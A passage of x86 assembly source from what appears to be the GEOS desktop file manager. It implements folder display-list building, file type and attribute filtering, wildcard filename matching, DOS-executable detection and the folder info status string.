CheckFileInList ; should file be in disp. list? jnc skip ; ; clear all state flags except FRSF_OPENED ; pushf ; save carry flag andnf es:[di].FR_state, mask FRSF_OPENED popf ; restore carry skip: ret DerefIndexAndCheckFile endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LinkToDisplayList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Appends a given Folder Record to the end of the display list. CALLED BY: BuildListPass PASS: ds:si = instance data of folder object es:di = pointer to locked Folder Record es:bp = pointer to last Folder Record in list (NIL indicates that display list is empty) RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- martin 7/22/92 Added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LinkToDisplayList proc near class FolderClass cmp bp, NIL ; empty list? jne linkToEnd ; no mov ds:[si].FOI_displayList, di ; make this file the first jmp short markEnd linkToEnd: mov es:[bp].FR_displayNext, di ; link this file to end of list markEnd: mov bp, di ; make this the new end-of-list mov es:[bp].FR_displayNext, NIL ; make sure it has EOL marker ret LinkToDisplayList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckFileInList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: checks if this file should be included in the display list CALLED BY: INTERNAL - DerefIndexAndCheckFile PASS: ds:si - instance data of folder object es:di - folder buffer entry of this file bl - file types to display bh - file attributes to display RETURN: carry clear if file should be added to display list carry set if file should not be added to display list DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/10/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckFileInList proc near CheckHack < offset FR_name eq 0 > BA < call BACheckManagedFolder > BA < jc notManaged > BA < call IclasCheckSysFile > BA < jc reject > BA <notManaged: > BA < call BAHideOrShowUSERDATA > BA < jc reject > call CheckFileTypes jc reject call CheckFileAttrs reject: ret CheckFileInList endp if _NEWDESKBA COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BACheckManagedFolder %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if this folder object is considered "managed", i.e. if we constrict the type of files that get displayed to the user. CALLED BY: INT CheckFileInList PASS: ds:si = instance data of folder object RETURN: carry clear if folder is "managed" carry set if folder is "unmanaged" DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: HACK! Check if the WOT type of this folder is < WOT_FOLDER (i.e. is a BA-only WOT type). If so, return carry clear. KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dloft 4/26/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BACheckManagedFolder proc near class NDFolderClass uses ax .enter mov ax, ds:[si].NDFOI_ndObjType cmp ax, WOT_FOLDER CheckHack <WOT_FOLDER eq 0> jl yup stc done: .leave ret yup: clc jmp done BACheckManagedFolder endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% BAHideOrShowUSERDATA %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks to see if this is a home folder, and if it is continues on to check if the file is USERDATA. If it is it checks the "Show USERDATA" UI in the Options dialog (OptionsMenu) and shows or hides USERDATA accordingly CALLED BY: CheckFileInList PASS: ds:si - instance data of folder object es:di - FolderRecord of file to check RETURN: carry - set if this is USERDATA and we should hide it - clear otherwise DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- dlitwin 3/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ BAHideOrShowUSERDATA proc near class NDFolderClass uses ax,bx,cx,dx,si,di,bp,ds .enter mov bp, ds:[si].NDFOI_ndObjType call NDValidateWOT cmp bp, WOT_TEACHER_HOME je homeFolder cmp bp, WOT_STUDENT_HOME jne homeFolder cmp bp, WOT_STUDENT_HOME_TVIEW jne homeFolder cmp bp, WOT_OFFICE_HOME jne notHomeFolder homeFolder: CheckHack< offset FR_name eq 0 > segmov ds, cs mov si, offset UserDataString mov cx, 9 ; U S E R D A T A null repe cmpsb clc jne done ; not USERDATA mov ax, MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_SELECTED mov bx, handle OptionsList mov si, offset OptionsList mov cx, mask OMI_SHOW_USERDATA call ObjMessageCall cmc ; set carry if not selected jmp done notHomeFolder: clc done: .leave ret BAHideOrShowUSERDATA endp UserDataString byte "USERDATA", 0 endif ; if _NEWDESKBA COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckFileTypes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if this file is of a type accepted by this folder. CALLED BY: CheckFileInList PASS: es:di - FolderRecord bl - file types to display RETURN: carry clear if accepted, carry set otherwise DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/ 1/92 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckFileTypes proc near test bl, mask FIDT_ALL ; accept all? jnz accept ; if so, accept this one test bl, mask FIDT_PROGS ; accept only progs? jz next ; if not, check next test es:[di].FR_fileAttrs, mask FA_SUBDIR jnz reject ; if so, reject if dir call CheckDOSExecutable jne reject ; if not a prog, reject next: test bl, mask FIDT_DATAS ; accept only datas? jz nextNext ; if not, check next test es:[di].FR_fileAttrs, mask FA_SUBDIR jnz reject ; if so, reject if dir call CheckDOSExecutable je reject ; if a prog, reject nextNext: test bl, mask FIDT_DIRS ; accept only dirs? jz accept ; if not, accept this one test es:[di].FR_fileAttrs, mask FA_SUBDIR jnz accept ; if so, accept if dir reject: stc ret accept: clc ret CheckFileTypes endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckFileAttrs %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if this file's attributes matches what we want CALLED BY: CheckFileInList, FolderRescanFolderEntry PASS: bh - FI_DisplayAttrs to match es:di - FolderRecord RETURN: carry clear to accept carry set to reject DESTROYED: nothing PSEUDO CODE/STRATEGY: If not showing FIDA_HIDDEN files, then make sure both the FA_HIDDEN and the GFHF_HIDDEN are not set KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 12/ 1/92 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckFileAttrs proc far uses ax .enter mov al, es:[di].FR_fileAttrs test bh, mask FIDA_ARCHIVE jnz checkRO test al, mask FA_ARCHIVE jnz reject ; don't want A & A set, reject checkRO: test bh, mask FIDA_RO jnz checkH test al, mask FA_RDONLY jnz reject ; don't want RO & RO set checkH: test bh, mask FIDA_HIDDEN jnz checkS test al, mask FA_HIDDEN jnz reject ; don't want H & H set, reject test es:[di].FR_fileFlags, mask GFHF_HIDDEN jnz reject checkS: test bh, mask FIDA_SYSTEM jnz done ; carry is clear test al, mask FA_SYSTEM jnz reject ; don't want S & S set, reject done: .leave ret reject: stc jmp done CheckFileAttrs endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckFilemaskLow %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Compare a filename with a wildcard CALLED BY: INTERNAL CheckFileInList CheckDOSExecutable PASS: ds:si = file mask (wildcard) es:di = filename to check RETURN: Z set if names equal DESTROYED: nothing PSEUDO CODE/STRATEGY: '*' matches any sequence of characters before '.' '?' matches any one character (except '.') or a blank (i.e. ????? matches DORK and BUM) much of this code is inline spaghetti for psuedo-speed KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 9/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckFilemaskLowFar proc far call CheckFilemaskLow ret CheckFilemaskLowFar endp CheckFilemaskLow proc near push si, di, bx DBCS < push dx > ; get position of last '.' in filename mov bx, di push di dotLoop: cmp {TCHAR}es:[di], C_NULL je gotDot cmp {TCHAR}es:[di], '.' jne nextDot mov bx, di ; es:bx = last dot nextDot: inc di jmp short dotLoop gotDot: pop di startLoop: LocalGetChar ax, dssi ; get byte from filemask LocalIsNull ax ; check if end of filemask je maskEnd_CLOSER LocalCmpChar ax, '.' ; check if ext. delimiter je extension LocalCmpChar ax, '*' ; check if match-all char. je matchAll LocalCmpChar ax, '?' ; check if match-one char. je matchOne ; ; convert to upper case before comparing ; SBCS < call UpCaseAL > DBCS < call UpCaseAX > SBCS < mov ah, es:[di] ; else, want char. match > DBCS < mov dx, es:[di] ; else, want char. match > SBCS < call UpCaseAH > DBCS < call UpCaseDX > SBCS < cmp al, ah > DBCS < cmp ax, dx > jne done_JNE ; if NO MATCH, exit matchOne: LocalNextChar esdi ; allow any 1 char. in filename SBCS < cmp byte ptr es:[di], 0 ; check if end of filename > DBCS < cmp {wchar}es:[di], 0 ; check if end of filename > je filenameEnd ; if so, make sure mask ends SBCS < cmp byte ptr es:[di], '.' ; check for ext. delimiter > DBCS < cmp {wchar}es:[di], '.' ; check for ext. delimiter > ; in filename jne startLoop cmp bx, di ; last '.' in filename? je getMaskExt ; if so, get ext. in filemask jmp startLoop ; else, keep going matchAll: LocalPrevChar dssi ; restore '*' for next time jmp short matchOne getMaskExt: LocalGetChar ax, dssi LocalIsNull ax ; check if end of filemask jz noMatch ; if so, no match LocalCmpChar ax, '.' ; check if ext. delimiter jne getMaskExt ; if not, loop extension: SBCS < cmp byte ptr es:[di], '.' ; make sure delimiter in fname > DBCS < cmp {wchar}es:[di], '.' ; make sure delimiter in fname > done_JNE: jne done ; if not, NO MATCH; done LocalNextChar esdi ; skip delimiter in filename nextExtChar: LocalGetChar ax, dssi ; get byte from filemask LocalIsNull ax ; check if end of filemask maskEnd_CLOSER: je maskEnd LocalCmpChar ax, '*' ; check if match-all char. je extMatchAll LocalCmpChar ax, '?' ; check if match-one char. je extMatchOne ; ; convert to upper case before comparing ; SBCS < call UpCaseAL > DBCS < call UpCaseAX > SBCS < mov ah, es:[di] ; else, want char match > DBCS < mov dx, es:[di] ; else, want char match > SBCS < call UpCaseAH > DBCS < call UpCaseDX > SBCS < cmp al, ah > DBCS < cmp ax, dx > jne done ; if NO MATCH, exit extMatchOne: LocalNextChar esdi ; allow any 1 char. in filename SBCS < cmp byte ptr es:[di], 0 ; check if end of filename > DBCS < cmp {wchar}es:[di], 0 ; check if end of filename > je checkMaskExtEnd ; if so, make sure mask ext ends jmp short nextExtChar ; else, check next char. extMatchAll: LocalPrevChar dssi ; restore '*' for next time jmp short extMatchOne noMatch: cmp di, NIL ; clear Z flag (no match) jmp short done filenameEnd: LocalGetChar ax, dssi ; get filemask byte LocalIsNull ax ; check if end of filemask jz done ; if so, MATCH; done LocalCmpChar ax, '.' jne filenameEnd ; if not delimiter, check next LocalGetChar ax, dssi LocalCmpChar ax, '*' ; only allow "*.*" jne done ; if not, NO MATCH LocalGetChar ax, dssi LocalIsNull ax jmp short done ; if null, MATCH ; if not null, NO MATCH checkMaskExtEnd: LocalGetChar ax, dssi ; get byte of filemask LocalIsNull ax ; mask ends? je done ; yes, MATCH LocalCmpChar ax, '*' ; allow '*.*' je checkMaskExtEnd ; allow any number of '*'s jmp short done ; if not '*', NO MATCH maskEnd: SBCS < cmp byte ptr es:[di], 0 ; check if end of filename > DBCS < cmp {wchar}es:[di], 0 ; check if end of filename > ; if so, MATCH ; if not, NO MATCH done: DBCS < pop dx > pop si, di, bx ret CheckFilemaskLow endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckDOSExecutable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if this FolderRecord is a DOS program CALLED BY: CheckFileTypes, FileOpenESDI PASS: es:di - FolderRecord RETURN: Z set if program, Z clear otherwise DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 2/19/93 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LocalDefNLString checkExeMask <'*.EXE',0> LocalDefNLString checkComMask <'*.COM',0> LocalDefNLString checkBatMask <'*.BAT',0> CheckDOSExecutable proc far uses ds, si, ax .enter CheckHack <GFT_NOT_GEOS_FILE eq 0 and GFT_EXECUTABLE eq 1> cmp es:[di].FR_fileType, GFT_EXECUTABLE jae done CheckHack <offset FR_name eq 0> segmov ds, cs, si mov si, offset checkBatMask ; ds:si = *.BAT call CheckFilemaskLow je done ; exit with MATCH mov si, offset checkExeMask ; ds:si = *.EXE call CheckFilemaskLow je done ; exit with MATCH mov si, offset checkComMask ; ds:si = *.COM call CheckFilemaskLow done: .leave ret CheckDOSExecutable endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RebuildSelectList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: rebuild list of selected files are resorting, etc. CALLED BY: BuildDisplayList PASS: es - segment of locked folder buffer *ds:si - FolderClass object RETURN: ds:[si].FOI_selectList - list of selected files DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 9/19/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RebuildSelectList proc near class FolderClass uses ax, bx, di, si .enter DerefFolderObject ds, si, si mov ds:[si].FOI_selectList, NIL ; start with empty select list mov di, ds:[si].FOI_displayList ; es:di = start of display list RSL_loop: cmp di, NIL ; check if end of display list je RSL_done ; if so, done test es:[di].FR_state, mask FRSF_SELECTED ; check if selected jz RSL_getNext ; if not, get next cmp ds:[si].FOI_selectList, NIL ; check if this will be first jne RSL_notFirst ; if not, continue mov ds:[si].FOI_selectList, di ; else, make this first in list jmp RSL_afterFirst ; end select list RSL_notFirst: mov es:[bx].FR_selectNext, di ; hook to previous one RSL_afterFirst: mov bx, di ; make this the new previous mov es:[di].FR_selectNext, NIL ; make this the end-of-list RSL_getNext: mov di, es:[di].FR_displayNext ; get next in dispaly list jmp short RSL_loop RSL_done: ; ; if running in keyboard only mode, force selection of first file, ; if none currently selected ; call FlowGetUIButtonFlags ; al = UIBF test al, mask UIBF_KEYBOARD_ONLY jz allDone ; not in keyboard only cmp ds:[si].FOI_selectList, NIL ; any selection? jne allDone ; yes, leave it alone mov bx, ds:[si].FOI_displayList ; else select first file mov ds:[si].FOI_selectList, bx mov es:[bx].FR_selectNext, NIL ornf es:[bx].FR_state, mask FRSF_SELECTED allDone: .leave ret RebuildSelectList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintFolderInfoString %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: build and display info string in folder window ("10 file(s) (225 kilobytes) of 10. 12286 kilobytes free.") if more than one file is selected, display this: ("Selected: 2 file(s) (28 kilobytes) from 10.") instead CALLED BY: INTERNAL FolderDraw FolderDeselectAll FolderDisplayOptionsInfo PASS: *ds:si - FolderClass object RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/4/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrintFolderInfoString proc far class FolderClass uses ax, bx, cx, dx, bp, es, di, si folderInfoStringBuffer local PathName fileSize local dword fileCount local word folderChildType local FolderChildType folderInstance local fptr displayedFileCount local word .enter DerefFolderObject ds, si, di movdw ss:[folderInstance], dsdi clr ax movdw ss:[fileSize], axax mov ss:[fileCount], ax ; ; enable or disable, as needed ; push si ; save instance data test ds:[di].FOI_displayAttrs, mask FIDA_INFO ; get state mov bx, ds:[di].FOI_windowBlock ; bx:si = text object if _GMGR mov si, offset FolderWindowTemplate:FolderInfo elif _NEWDESK mov si, offset NDFolderInfo endif mov ax, MSG_GEN_SET_USABLE ; assume shown jnz haveShowState mov ax, MSG_GEN_SET_NOT_USABLE ; else, not shown haveShowState: mov dl, VUM_NOW push ax, bp call ObjMessageCallFixup pop ax, bp cmp ax, MSG_GEN_SET_USABLE pop si ; retrieve instance data je printString jmp exit printString: ; ; point to buffer for info string ; lea di, ss:[folderInfoStringBuffer] mov cx, size folderInfoStringBuffer if (not _NEWDESK) ; ; build disk name and pathname, if needed ; call DiskNameAndPathnameForFolderInfo endif push di ; end of string ; ; Go through either the SELECT list or the DISPLAY list to ; count up the file sizes. ; clr ax, dx, cx ; Count number and size of displayed entries. push bx mov di, FCT_DISPLAY_LIST mov ax, SEGMENT_CS mov bx, offset CalcItemCountAndSizesCB call FolderSendToChildren ; fileCount = number of displayed files. ; fileSize = combined size of displayed files. mov ax, ss:[fileCount] mov ss:[displayedFileCount], ax pop bx DerefFolderObject ds, si, bx cmp ds:[bx].FOI_selectList, NIL ; check if select or display jne useSelectList ; if select, use it instead ; else, use display list ; Use the displayed file information. mov ss:[folderChildType], FCT_DISPLAY_LIST jmp gotSizeAndCount useSelectList: DerefFolderObject ds, si, bx clr ax czr ax, ss:[fileCount] ; Start over for selected files clrdw ss:[fileSize], ax mov di, FCT_SELECTED mov ss:[folderChildType], di mov ax, SEGMENT_CS mov bx, offset CalcItemCountAndSizesCB call FolderSendToChildren ; fileCount = number of selected files. ; fileSize = combined size of selected files. gotSizeAndCount: segmov es, ss ; es:di = info string buffer mov bx, handle DeskStringsRare call MemLock mov ds, ax ; ds = string resource ; ; output "Selected: ", if needed ; pop di ; es:di - info string buffer cmp ss:[folderChildType], FCT_SELECTED jne afterSelect mov si, offset FolderInfoSelectedString mov si, ds:[si] ; ds:si = "Selected: " call CopyNullString afterSelect: ; ; go through template and stuff in params ; dx:ax = # bytes free on disk ; if not _BMGR tst ss:[smallScreen] jz notSmallScreen endif ; ; if small screen, show just disk space if there are no ; files selected otherwise, show selection info ; mov si, offset FolderInfoDiskSpaceString cmp ss:[folderChildType], FCT_SELECTED jne gotString ; ; If multiple files selected, use the multi-files string ; mov si, offset FolderInfoMultiSelectionString cmp ss:[fileCount], 1 jne gotString ; ; Otherwise, use the single file string ; mov si, offset FolderInfoSingleSelectionString jmp gotString notSmallScreen: ; assume multi-file string mov si, offset FolderInfoMultiItemString cmp ss:[fileCount], 1 ; multi-file? jne gotString ; yes ; else, single file mov si, offset FolderInfoSingleItemString gotString: mov si, ds:[si] ; ds:si = template string stringLoop: ; ; See if we're getting too close to the end ; lea ax, ss:[folderInfoStringBuffer] SBCS < add ax, size folderInfoStringBuffer - 20 > DBCS < add ax, size folderInfoStringBuffer - (20*(size wchar)) > cmp di, ax SBCS < mov al, 0 > DBCS < mov ax, 0 > jae stopString ; if so, stop LocalGetChar ax, dssi stopString: LocalCmpChar ax, C_BACKSLASH ; parameter? LONG jne storeChar LocalGetChar ax, dssi LocalCmpChar ax, '1' ; files displayed/selected? jne not1 ; nope, check next ; ; stuff # files displayed/selected ; mov ax, ss:[fileCount] call ASCIIizeWordAX jmp short stringLoop ; do next character not1: LocalCmpChar ax, '2' ; bytes in above files? jne not2 ; nope, check next ; ; stuff # bytes in files displayed/selected ; clr ax mov al, ss:[fileSize].high.high mov dh, ss:[fileSize].high.low mov dl, ss:[fileSize].low.high shrdw axdx shrdw axdx test ss:[fileSize].low, 0x3ff jz noFileSizeRound incdw axdx noFileSizeRound: call ASCIIizeDWordAXDX jmp short stringLoop ; do next character not2: LocalCmpChar ax, '3' ; total number of files? jne not3 ; nope, check next ; ; stuff total # of displayed files ; mov cx, ds ; save template segment mov ax, si ; save template offset lds si, ss:[folderInstance] push ax mov ax, ss:[displayedFileCount] call ASCIIizeWordAX pop ax mov ds, cx ; restore template segment mov si, ax ; restore template offset jmp short stringLoop ; do next character not3: LocalCmpChar ax, '4' ; free disk space? jne storeChar ; nope, store verbatim ; ; stuff free disk space ; mov cx, ds ; save template segment mov ax, si ; save template offset push ax, dx lds si, ss:[folderInstance] clr ax mov al, ds:[si].FOI_diskInfo.DIS_freeSpace.high.high mov dh, ds:[si].FOI_diskInfo.DIS_freeSpace.high.low mov dl, ds:[si].FOI_diskInfo.DIS_freeSpace.low.high shrdw axdx shrdw axdx test ds:[si].FOI_diskInfo.DIS_freeSpace.low, 0x3ff jz noDiskSpaceRound incdw axdx noDiskSpaceRound: call ASCIIizeDWordAXDX pop ax, dx mov ds, cx ; restore template segment mov si, ax ; restore template offset jmp stringLoop ; do next character storeChar: LocalPutChar esdi, ax LocalIsNull ax ; end of template? LONG jne stringLoop ; nope, back for more mov bx, handle DeskStringsRare call MemUnlock ; unlock string resource ; ; set the info string to the text object ; lds si, ss:[folderInstance] mov bx, ds:[si].FOI_windowBlock ; bx:si = text object fixupText:: push bp, si mov dx, ss ; dx:bp = string lea bp, ss:[folderInfoStringBuffer] if _GMGR mov si, offset FolderWindowTemplate:FolderInfo elif _NEWDESK mov si, offset NDFolderInfo endif ;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv ; Changed, 4/22/93 -jw ; To show start of selection rather than end, and to do it without flickering. ; ; call CallFixupSetText ; ; Suspend the object. ; push dx, bp ; save string ptr mov ax, MSG_META_SUSPEND call ObjMessageCallFixup pop dx, bp ; restore string ptr ; ; Replace the string ; clr cx ; null-terminated text mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessageCallFixup ; ; Set selection to 0,0 ; clr cx clr dx mov ax, MSG_VIS_TEXT_SELECT_RANGE_SMALL call ObjMessageCallFixup ; ; Unsuspend the object ; mov ax, MSG_META_UNSUSPEND call ObjMessageCallFixup ;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ pop bp, si ; ; update enabled state of File menu items, if needed ; if _GMGR test ds:[si].FOI_folderState, mask FOS_TARGET ; are we? jz exit ; nope, no updating mov bx, ds:[si].FOI_selectList ; bx = select list mov si, ds:[si].FOI_chunkHandle call UpdateFileMenuCommon ; update it endif exit: .leave ret PrintFolderInfoString endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CalcItemCountAndSizesCB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: callback routine to calculate the count of items in the folder buffer and their combined size CALLED BY: PrintFolderInfoString via FolderSendToChildren PASS: ds:di - FolderRecord ss:bp - inherited local vars RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 1/ 4/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CalcItemCountAndSizesCB proc far .enter inherit PrintFolderInfoString inc ss:[fileCount] adddw ss:[fileSize], ds:[di].FR_size, ax clc .leave ret CalcItemCountAndSizesCB endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DiskNameAndPathnameForFolderInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: PrintFolderInfoString PASS: *ds:si - FolderClass object ss:di - info string cx - size of info string RETURN: di - updated to point at end DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 1/ 4/93 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if (not _NEWDESK) DiskNameAndPathnameForFolderInfo proc near uses ax, bx, cx, dx, si, es, bp .enter ; ; no pathname if smallScreen, as it will be shown in Folder Window ; header if not-maximized and in primary window header if maximized ; tst ss:[smallScreen] jnz done ; yes, small screen push si, di, cx mov bx, handle FileSystemDisplayGroup mov si, offset FileSystemDisplayGroup mov ax, MSG_GEN_DISPLAY_GROUP_GET_FULL_SIZED call ObjMessageCallFixup ; carry set if maximized pop si, di, cx ; jnc done ; nope, no pathname in info str segmov es, ss ; es:di = info string buffer ; *ds:si <- folder call BuildDiskAndPathName ; put nul-term'ed str ; into es:di LocalPrevChar esdi ; remove null-terminator SBCS < mov ax, ' ' or ('-' shl 8) > DBCS < mov ax, ' ' > stosw DBCS < mov al, '-' > DBCS < stosw > mov al, ' ' SBCS < stosb ; add separator > DBCS < stosw > done: .leave ret DiskNameAndPathnameForFolderInfo endp endif ; (not _NEWDESK) if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderDrawTemplateIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: CALLED BY: INTERNAL - PASS: ds:si = instance data of Folder object es:di = pointer to locked folder record RETURN: dl, dh = set correctly DESTROYED: ax, bx, cx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 8/3/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderDrawTemplateIcon proc near class FolderClass uses di .enter inherit DrawIconModeIcon mov ax, ('T') or ('M' shl 8) ; store 'TMPL' mov bx, ('P') or ('L' shl 8) push si, bp xchg dh, dl ; dh = DisplayType mov si, MANUFACTURER_ID_GEOWORKS mov bp, LARGE_ICON_SEARCH_FLAGS ; bp = VisMonikerSearchFlags call TokenLookupMoniker ; cx:dx = moniker ID ; ax <- shared/local ; token DB file flag pop si, bp call DrawIconModeIconLow ; ; setup to draw the small icon in the center ; mov dl, displayType mov dh, mask FIDM_SICON mov displayMode, dh .leave ret FolderDrawTemplateIcon endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderCallView %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Call the view CALLED BY: INTERNAL PASS: *ds:si - FolderClass object di - MessageFlags ax,cx,dx,bp - message data RETURN: ax,cx,dx,bp - returned from view, if MF_CALL passed DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/12/93 Initial version. 